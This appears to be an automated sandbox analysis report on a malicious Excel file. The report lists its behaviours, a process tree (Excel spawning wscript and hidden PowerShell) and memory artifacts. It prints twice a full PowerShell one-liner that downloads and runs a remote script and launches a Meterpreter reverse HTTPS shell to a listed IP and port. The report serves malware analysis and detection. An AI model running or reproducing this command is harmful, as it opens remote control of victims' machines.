Analysis

  • max time kernel
    46s
  • max time network
    38s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240704-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240704-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/07/2024, 22:00

General

  • Target
    9df0361d5bcd7e79b31b2d8eaa4361e5af89a6da6f8cc80ace81b4cb996212b5.xls
  • Size 44KB
  • Sample240706-1w26astgpl
  • SHA256 9df0361d5bcd7e79b31b2d8eaa4361e5af89a6da6f8cc80ace81b4cb996212b5
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • ps1.dropper

    https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1

Signatures

  • Process spawned unexpected child process 2 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9df0361d5bcd7e79b31b2d8eaa4361e5af89a6da6f8cc80ace81b4cb996212b5.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3228
    • C:\Windows\SYSTEM32\wscript.exe
      wscript C:\Users\Public\config.vbs
      2⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:1872
      • C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe
        "C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2052
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Command and Scripting Interpreter: PowerShell
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:768

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        ModuleAnalysisCache

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
        • Size 53KB
        • SHA256 4ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
        • MD5 SHA1 SHA512 SSDEEP

        __PSScriptPolicyTest_upbwxff2.f0f.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_upbwxff2.f0f.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        b8ab77100df80ab2.customDestinations-ms

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
        • Size 3KB
        • SHA256 1bc652b2b05fa145dff6e768893b31a56f00a067af5742fb250361153e3cad14
        • MD5 SHA1 SHA512

        config.vbs

        • Path C:\Users\Public\config.vbs
        • Size 461B
        • SHA256 df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17
        • MD5 SHA1 SHA512

        memory/768-56-0x00000212A7D00000-0x00000212A7D44000-memory.dmp

        memory/768-46-0x00000212A7920000-0x00000212A7942000-memory.dmp

        memory/3228-16-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp

        memory/3228-21-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp

        memory/3228-9-0x00007FFA75BB0000-0x00007FFA75BC0000-memory.dmp

        memory/3228-8-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp

        memory/3228-7-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp

        memory/3228-11-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp

        memory/3228-14-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp

        memory/3228-13-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp

        memory/3228-12-0x00007FFA75BB0000-0x00007FFA75BC0000-memory.dmp

        memory/3228-15-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp

        memory/3228-0-0x00007FFA77DD0000-0x00007FFA77DE0000-memory.dmp

        memory/3228-17-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp

        memory/3228-20-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp

        memory/3228-10-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp

        memory/3228-19-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp

        memory/3228-18-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp

        memory/3228-25-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp

        memory/3228-26-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp

        memory/3228-33-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp

        memory/3228-6-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp

        memory/3228-5-0x00007FFAB7DED000-0x00007FFAB7DEE000-memory.dmp

        memory/3228-4-0x00007FFA77DD0000-0x00007FFA77DE0000-memory.dmp

        memory/3228-3-0x00007FFA77DD0000-0x00007FFA77DE0000-memory.dmp

        memory/3228-2-0x00007FFA77DD0000-0x00007FFA77DE0000-memory.dmp

        memory/3228-1-0x00007FFA77DD0000-0x00007FFA77DE0000-memory.dmp

        memory/3228-68-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp

        memory/3228-69-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp

        memory/3228-70-0x00007FFAB7D50000-0x00007FFAB7F45000-memory.dmp